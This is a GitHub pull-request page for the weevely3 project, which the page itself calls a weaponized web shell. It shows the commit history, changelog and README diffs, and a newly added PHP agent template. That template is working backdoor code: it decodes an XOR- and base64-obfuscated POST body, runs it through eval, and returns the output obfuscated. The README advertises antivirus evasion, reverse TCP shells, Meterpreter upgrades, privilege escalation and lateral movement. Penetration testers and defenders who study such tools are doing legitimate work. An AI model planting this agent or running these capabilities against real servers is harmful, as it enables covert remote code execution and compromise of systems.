Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add some CLI options #158

Closed
wants to merge 134 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
134 commits
Select commit Hold shift + click to select a range
bb1aa74
Explicitly use python2
vbrandl May 26, 2018
62a0cb7
Merge pull request #82 from vbrandl/pin-python-version
epinna May 27, 2018
f48aa6e
Add shell script debug
epinna May 27, 2018
4ff2a40
Add obfpost channel and template
epinna May 28, 2018
2880812
Cleanup
epinna May 28, 2018
10fd3f1
Set ObfPost as default channel and agent
epinna May 28, 2018
76064af
Add ObfPost tests
epinna May 28, 2018
3edea5c
Add ObfPost generator tests
epinna May 28, 2018
5c40e7a
Fix missing lib
epinna May 28, 2018
123b3a7
Longer lines in obfusc1_php
epinna May 28, 2018
cd6b163
Adjust tests
epinna May 28, 2018
8ef5970
Changelog
epinna May 28, 2018
b599169
Add prepend and append options to obfpost channel and agent
epinna May 28, 2018
31bf426
Adjust garbage prepend on ObfPost agent
epinna May 28, 2018
f70237e
Do not randomize agent every ObfPost request
epinna May 28, 2018
00896f2
Comments
epinna May 28, 2018
2507a5a
Reduce ObfPost agent size
epinna May 28, 2018
5e26394
Reduce ObfPost request size
epinna May 28, 2018
52ba276
Enable channel testing
epinna May 28, 2018
b870d17
Fix module descriptions
epinna May 28, 2018
817cf0b
Rephrase generation
epinna May 29, 2018
bd88c35
New readme
epinna May 29, 2018
e087a2e
Fix wiki links
epinna May 29, 2018
5b75369
Readme
epinna May 29, 2018
6b9a973
Fix readme link
epinna May 29, 2018
5b9fc3d
Bump version
epinna Jun 2, 2018
3840b24
Check session object to address #83
epinna Jun 6, 2018
1db6492
Adjust cli help phrasing
epinna Jun 11, 2018
3761b67
Adjust README
epinna Jun 11, 2018
e7fc3dd
Adjust README
epinna Jun 11, 2018
9743bf3
add proper license header following sqlmap's licensing
samueloph Jun 21, 2018
42a0f6a
update user-agents.txt from sqlmap project
samueloph Jun 21, 2018
73d6753
add manpage
samueloph Jun 25, 2018
619cfdc
Bump to 3.6.1
epinna Jun 26, 2018
6f90315
Remove audit_linuxprivchecker due to missing licence
epinna Jun 27, 2018
56d5928
Bump to 3.6.2
epinna Jun 27, 2018
80a9d26
Bump to 3.6.2
epinna Jun 27, 2018
e1409fd
Rewrite :net_proxy to support HTTPS fix #86
epinna Aug 3, 2018
c8d56bd
Update README
epinna Aug 3, 2018
8f966b3
More net_proxy tests
epinna Aug 4, 2018
f82ef6a
Fix net_proxy tests
epinna Aug 4, 2018
cf9b81d
Fix content-encoding handling in net_proxy
epinna Aug 8, 2018
60a131a
Support OPTIONS request in net_curl
epinna Aug 8, 2018
c5b5760
Test OPTIONS in net_proxy
epinna Aug 8, 2018
e9c96c2
Adjust POST of binary data with net_curl and net_proxy
epinna Aug 8, 2018
a2db80a
Fix binary sending on net_curl
epinna Aug 8, 2018
856b6e7
Comment out sh_curl from net_curl module
epinna Aug 8, 2018
4c042d2
Add some validation before generating the certificate on net_proxy
epinna Aug 8, 2018
2001d74
Relax Content-Type on net_curl
epinna Aug 8, 2018
6ccb22f
Introduce httpbin in the tests
epinna Aug 8, 2018
bd94138
Fix string hex encoding in net_curl
epinna Aug 9, 2018
b91e606
Use httpbin for net_proxy testing
epinna Aug 9, 2018
e7008ba
Return content on responses with errors on net_curl
epinna Aug 9, 2018
69a0ad2
Relax SSL checking in net_curl payloads
epinna Aug 9, 2018
ef709ba
Relax hostname validation on net_proxy
epinna Aug 9, 2018
04ebaa0
Better error on shell_php template arguments
epinna Aug 16, 2018
0c697c8
Reduce concurrency issues in net_proxy
epinna Aug 17, 2018
c630f46
Avoid resetting self.args
epinna Aug 17, 2018
e317231
Better concurrency locking on net_proxy
epinna Aug 18, 2018
bbacf0a
Adjust net_proxy payloads
epinna Aug 18, 2018
51ee116
Encode user input in net_curl to avoid security problems with net_proxy
epinna Aug 19, 2018
e4185d7
Adjust net_curl sh_curl vector
epinna Aug 19, 2018
b56a28b
Fix vector handling in audit_etcpasswd #93
epinna Aug 26, 2018
e99fa97
Bump to version 3.7.0
epinna Oct 15, 2018
0401174
Fix bruteforce_sql arguments #101
epinna Feb 14, 2019
facdbe7
update man page
noraj May 8, 2019
46321ae
Remove readline as suggested in #113
epinna Sep 15, 2019
506bf90
Adjust tests
epinna Sep 15, 2019
f639e7d
Fix net_proxy test
epinna Sep 15, 2019
b663860
Use gnureadline if available
epinna Sep 15, 2019
32705b9
Run 2to3 -f all in all of the .py files
samueloph Dec 18, 2019
6c3e874
Run 2to3 with extra checks buffer idioms set_literal ws_comma
samueloph Dec 18, 2019
d5d5b78
Change shebang to python3
samueloph Dec 18, 2019
ee5b27d
Remove trailing whitespaces of disablefunctionbypass.py
samueloph Dec 18, 2019
f25cf23
Revert wrong 2to3 changes print(()) and list(var.items())
samueloph Dec 18, 2019
eb06dda
Polish
epinna Dec 25, 2019
d41e3c2
Polish test file download
epinna Dec 25, 2019
936dd90
Polish
epinna Dec 25, 2019
557d211
Polish
epinna Dec 25, 2019
9738d23
Adjust tests
epinna Dec 25, 2019
401a3d6
Fix reverse backdoor
epinna Dec 25, 2019
f35cc01
Draft version v4.0.0
epinna Dec 25, 2019
dc52480
Fix wrong alias management
epinna Dec 26, 2019
dd0096c
Fix PHP shell
epinna Dec 26, 2019
9005303
Bump version
epinna Dec 26, 2019
5c060ba
Update README
epinna Dec 26, 2019
fc13800
Adjust Changelog
epinna Dec 26, 2019
0547787
Delete stegaref agent templates
epinna Dec 26, 2019
fa675d5
Remove PHP minification
epinna Jan 3, 2020
11171d8
Polish agent template
epinna Jan 3, 2020
7d87652
Adjust changelog
epinna Jan 3, 2020
f6a9aea
Fixes broken cd #122
epinna Jan 5, 2020
823e368
Bump version
epinna Jan 6, 2020
9746449
Bump version
epinna Jan 6, 2020
ba85c0c
Fix byte string conversions
paullj1 May 4, 2020
c91ba23
Decode byte string returned from web request
paullj1 May 4, 2020
2d583eb
URL encode ' ' chars
paullj1 May 4, 2020
8f6c2f2
Add vim for debugging
epinna May 30, 2020
9aa8c50
Fix broken file_edit #133
epinna May 30, 2020
db5cc33
Add change
epinna May 30, 2020
588fc79
Fix py2 clutter #135
epinna Jun 14, 2020
c861e63
Fixed cacert response in proxy module
epinna Jun 16, 2020
cf69b5a
Fix database param for MySQL
perwpqwe Aug 7, 2020
73b3d6e
Exit sql_console gracefully
perwpqwe Aug 8, 2020
f4dbd24
Add support for `use database` syntax
perwpqwe Aug 8, 2020
372c3b7
Fix bug
perwpqwe Aug 8, 2020
41fefc5
Bug Fix
perwpqwe Aug 8, 2020
81ee493
Bug Fix again!
perwpqwe Aug 8, 2020
93680d7
Another Bug Fix!
perwpqwe Aug 9, 2020
094cea6
Fix mysqli_error() issue
perwpqwe Aug 9, 2020
9ab8858
Adjust tests to the new sql_console
epinna Aug 13, 2020
c35a3c0
Fix :audit_phpconf
ZanyMonk Sep 3, 2020
17faba9
Fix -no-autoconnect argument for backdoor modules
ZanyMonk Sep 3, 2020
94cebcd
Add info to `:system_info` and format size format for `:file_check`
ZanyMonk Sep 3, 2020
5fb3e5c
Adapt tests for #140
epinna Sep 5, 2020
e3a9425
Merge branch 'ZanyMonk-master'
epinna Sep 5, 2020
54af94c
fix: Missing comma
mrshu Jan 29, 2022
e5b6c13
Open output file for writing only
herrcykel May 18, 2022
101d1d5
Update channel.py
blockisec Nov 23, 2022
35e1c16
add phar obfuscator
ZanyMonk Jun 10, 2023
96aaf85
fix unit tests
ZanyMonk Jun 10, 2023
d4d9a2f
oops
ZanyMonk Jun 13, 2023
09b90c8
add tests
ZanyMonk Jun 14, 2023
121196a
pass unit tests on both versions of php
ZanyMonk Jun 15, 2023
c729e70
add remote error handling
ZanyMonk Jun 15, 2023
e769fa7
add python_code vector
ZanyMonk Jun 14, 2023
ba889ec
add shell_ssh module
ZanyMonk Jun 15, 2023
eabe9f9
set phar obfuscator as default
ZanyMonk Jun 16, 2023
e93dade
add dash as stdout
ZanyMonk Jun 16, 2023
4f0819d
add -port to sql_console module
ZanyMonk Jun 16, 2023
6ef0c66
fix #103. fix #137. fix #29. Add CLI options to specify headers, prox…
Jan 23, 2023
81e37f9
fix indentation error
rsrdesarrollo Jun 21, 2023
1438cdf
fix indentation error
rsrdesarrollo Jun 21, 2023
5fe761c
fix empty headers
rsrdesarrollo Jun 21, 2023
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
61 changes: 61 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,59 @@
# Change Log

## [v4.0.2] -

### Fixed
- Broken file_edit #133

## [v4.0.1] - 2020-01-06
### Removed
- Remove PHP minification

### Fixed
- Broken cd #122

## [v4.0.0] - 2019-12-26
### Added
- Full port to Python 3

### Fixed
- Module net_phpproxy
- Fixes alias management #117

### Removed
- Old backdoor formats LegacyCookie, LegacyReferrer, and Stegaref
- Module backdoor_meterpreter

## [v3.7.0] - 2018-10-15
### Fixed
- Fix vector handling in audit_etcpasswd #93

### Added
- HTTPS proxy support
- Support OPTIONS request in net_curl module
- Use httpbin for net_proxy testing

## [v3.6.2] - 2018-06-27
### Fixed
- Remove audit_linuxprivchecker module

## [v3.6.1] - 2018-06-26
### Fixed
- Fixed corrupted session file #83
- Vendor files licensing

### Added
- Man page

## [v3.6] - 2018-06-02
### Fixed
- PHP 7 support
- Add exceptions catches

### Added
- ObfPost is the default channel to obfuscate traffic in POST requests
- Travic-CI integration

## [v3.5] - 2017-23-11
### Fixed
- Connection to HTTPS sites with wrong certificates
Expand Down Expand Up @@ -97,3 +151,10 @@
[v3.2.0]: https://github.com/epinna/weevely3/releases/tag/v3.2.0
[v3.3.1]: https://github.com/epinna/weevely3/releases/tag/v3.3.1
[v3.4]: https://github.com/epinna/weevely3/releases/tag/v3.4
[v3.5]: https://github.com/epinna/weevely3/releases/tag/v3.5
[v3.6]: https://github.com/epinna/weevely3/releases/tag/v3.6
[v3.6.1]: https://github.com/epinna/weevely3/releases/tag/v3.6.1
[v3.6.2]: https://github.com/epinna/weevely3/releases/tag/v3.6.2
[v3.7.0]: https://github.com/epinna/weevely3/releases/tag/v3.7.0
[v4.0.0]: https://github.com/epinna/weevely3/releases/tag/v4.0.0
[v4.0.1]: https://github.com/epinna/weevely3/releases/tag/v4.0.1
96 changes: 82 additions & 14 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,26 +3,94 @@ Weevely

[![Build Status](https://travis-ci.org/epinna/weevely3.svg?branch=master)](https://travis-ci.org/epinna/weevely3)

Weevely is a web shell designed for remote server administration and penetration testing that can be extended over the network at runtime with more than 30 modules.
## Name

It executes remote code via an obfuscated PHP agent located on the compromised HTTP server. It fits both web administration and penetration testing post-exploitation scenarios to maintain access, provide situational awareness, escalate the privileges, and move laterally in the network.
Weevely - Weaponized web shell

**Read the [Wiki](https://github.com/epinna/weevely3/wiki#getting-started) for tutorials and uses cases.**
## Usage

* Run operating system commands in a terminal
* Pivot SQL console on the target
* Proxy HTTP traffic on the target
* Audit remote target
* Mount the remote filesystem
* Pivot port scan on target
```
weevely generate <password> <path>
weevely <URL> <password> [cmd]
```

## Description

Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime.

Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target network.

Read the [Install](https://github.com/epinna/weevely3/wiki/Install) page to install weevely and its dependencies.

Read the [Getting Started](https://github.com/epinna/weevely3/wiki/Getting-Started) page to generate an agent and connect to it.

Browse the [Wiki](https://github.com/epinna/weevely3/wiki) to read examples and use cases.

### Features

* Shell access to the target
* SQL console pivoting on the target
* HTTP/HTTPS proxy to browse through the target
* Upload and download files
* Spawn reverse and direct TCP shells
* Upgrade to Meterpreter session
* Bruteforce SQL accounts
* Manage natively compressed archives
* Audit remote target security
* Port scan pivoting on target
* Mount the remote filesystem
* Bruteforce SQL accounts pivoting on the target

### Agent

The agent is a small, polymorphic PHP script hardly detected by AV and the communication protocol is obfuscated within HTTP requests.

### Modules

The agent is a small, polymorphic PHP script which is hardly detectable by AV software, and the communication between the client and the agent is obfuscated within HTTP requests.
| Module | Description
| --------------------------- | ------------------------------------------ |
| :audit_filesystem | Audit the file system for weak permissions.
| :audit_suidsgid | Find files with SUID or SGID flags.
| :audit_disablefunctionbypass| Bypass disable_function restrictions with mod_cgi and .htaccess.
| :audit_etcpasswd | Read /etc/passwd with different techniques.
| :audit_phpconf | Audit PHP configuration.
| :shell_sh | Execute shell commands.
| :shell_ssh | Execute shell commands through SSH.
| :shell_su | Execute commands with su.
| :shell_php | Execute PHP commands.
| :system_extensions | Collect PHP and webserver extension list.
| :system_info | Collect system information.
| :system_procs | List running processes.
| :backdoor_reversetcp | Execute a reverse TCP shell.
| :backdoor_tcp | Spawn a shell on a TCP port.
| :bruteforce_sql | Bruteforce SQL database.
| :file_gzip | Compress or expand gzip files.
| :file_clearlog | Remove string from a file.
| :file_check | Get attributes and permissions of a file.
| :file_upload | Upload file to remote filesystem.
| :file_webdownload | Download an URL.
| :file_tar | Compress or expand tar archives.
| :file_download | Download file from remote filesystem.
| :file_bzip2 | Compress or expand bzip2 files.
| :file_edit | Edit remote file on a local editor.
| :file_grep | Print lines matching a pattern in multiple files.
| :file_ls | List directory content.
| :file_cp | Copy single file.
| :file_rm | Remove remote file.
| :file_upload2web | Upload file automatically to a web folder and get corresponding URL.
| :file_zip | Compress or expand zip files.
| :file_touch | Change file timestamp.
| :file_find | Find files with given names and attributes.
| :file_mount | Mount remote filesystem using HTTPfs.
| :file_enum | Check existence and permissions of a list of paths.
| :file_read | Read remote file from the remote filesystem.
| :file_cd | Change current working directory.
| :sql_console | Execute SQL query or run console.
| :sql_dump | Multi dbms mysqldump replacement.
| :net_mail | Send mail.
| :net_phpproxy | Install PHP proxy on the target.
| :net_curl | Perform a curl-like HTTP request.
| :net_proxy | Run local proxy to pivot HTTP/HTTPS browsing through the target.
| :net_scan | TCP Port scan.
| :net_ifconfig | Get network interfaces addresses.

### Modules development
### Development

Weevely is easily extendible to implement internal audit, account enumerator, sensitive data scraper, network scanner, make the modules work as a HTTP or SQL client and do a whole lot of other cool stuff.
8 changes: 0 additions & 8 deletions bd/agents/legacycookie_php.tpl

This file was deleted.

28 changes: 28 additions & 0 deletions bd/agents/obfpost_php.tpl
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
<%! import hashlib, utils, string %><%
passwordhash = hashlib.md5(password.encode('utf-8')).hexdigest().lower()
key = passwordhash[:8]
header = passwordhash[8:20]
footer = passwordhash[20:32]

PREPEND = utils.strings.randstr(16, charset = string.digits + string.ascii_letters).decode('utf-8')
%>$k="${key}";$kh="${header}";$kf="${footer}";$p="${PREPEND}";
<%text>
function x($t,$k){
$c=strlen($k);$l=strlen($t);$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t[$i]^$k[$j];
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
</%text>
68 changes: 0 additions & 68 deletions bd/agents/stegaref_php.tpl

This file was deleted.

82 changes: 0 additions & 82 deletions bd/agents/stegaref_php_debug.tpl

This file was deleted.

4 changes: 2 additions & 2 deletions bd/obfuscators/cleartext1_php.tpl
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
<?php
${agent}
?>
${agent.decode('utf-8')}
?>
Loading